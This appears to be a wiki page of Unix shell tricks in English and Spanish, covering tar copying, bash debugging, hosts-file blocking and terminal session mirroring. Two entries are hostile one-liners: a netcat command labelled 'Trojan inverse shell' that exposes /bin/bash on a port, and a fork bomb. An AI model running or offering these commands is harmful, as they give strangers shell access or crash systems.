====== Trucos Gurú ======

==== Trojan inverse shell ====

    nc -l -p 2000 -e /bin/bash

==== Bulk copy  ====

Copy large blocks of data between File Systems (run as root iff you
do not own all of the files\!)

    tar cpof - src |( cd des; tar xpof -)

==== Block the 6700 worst spamhosts ====

    wget -q -O - http://someonewhocares.org/hosts/ | grep ^127 >> /etc/hosts

==== Debug bash shell scripts. ====

    bash -x SCRIPT

==== Fork bomb (dont actually execute) ====

    :(){ :|:& };:

==== Para ver una sesion de trabajo de una terminal desde otra ====

En la terminal 1 teclear:

    mkfifo log;script -f log

En la terminal 2 teclear

    cat log

Ojo: Mientras no se haga el ‘cat log’ en la terminal 2 no se podra
continuar en la terminal 1.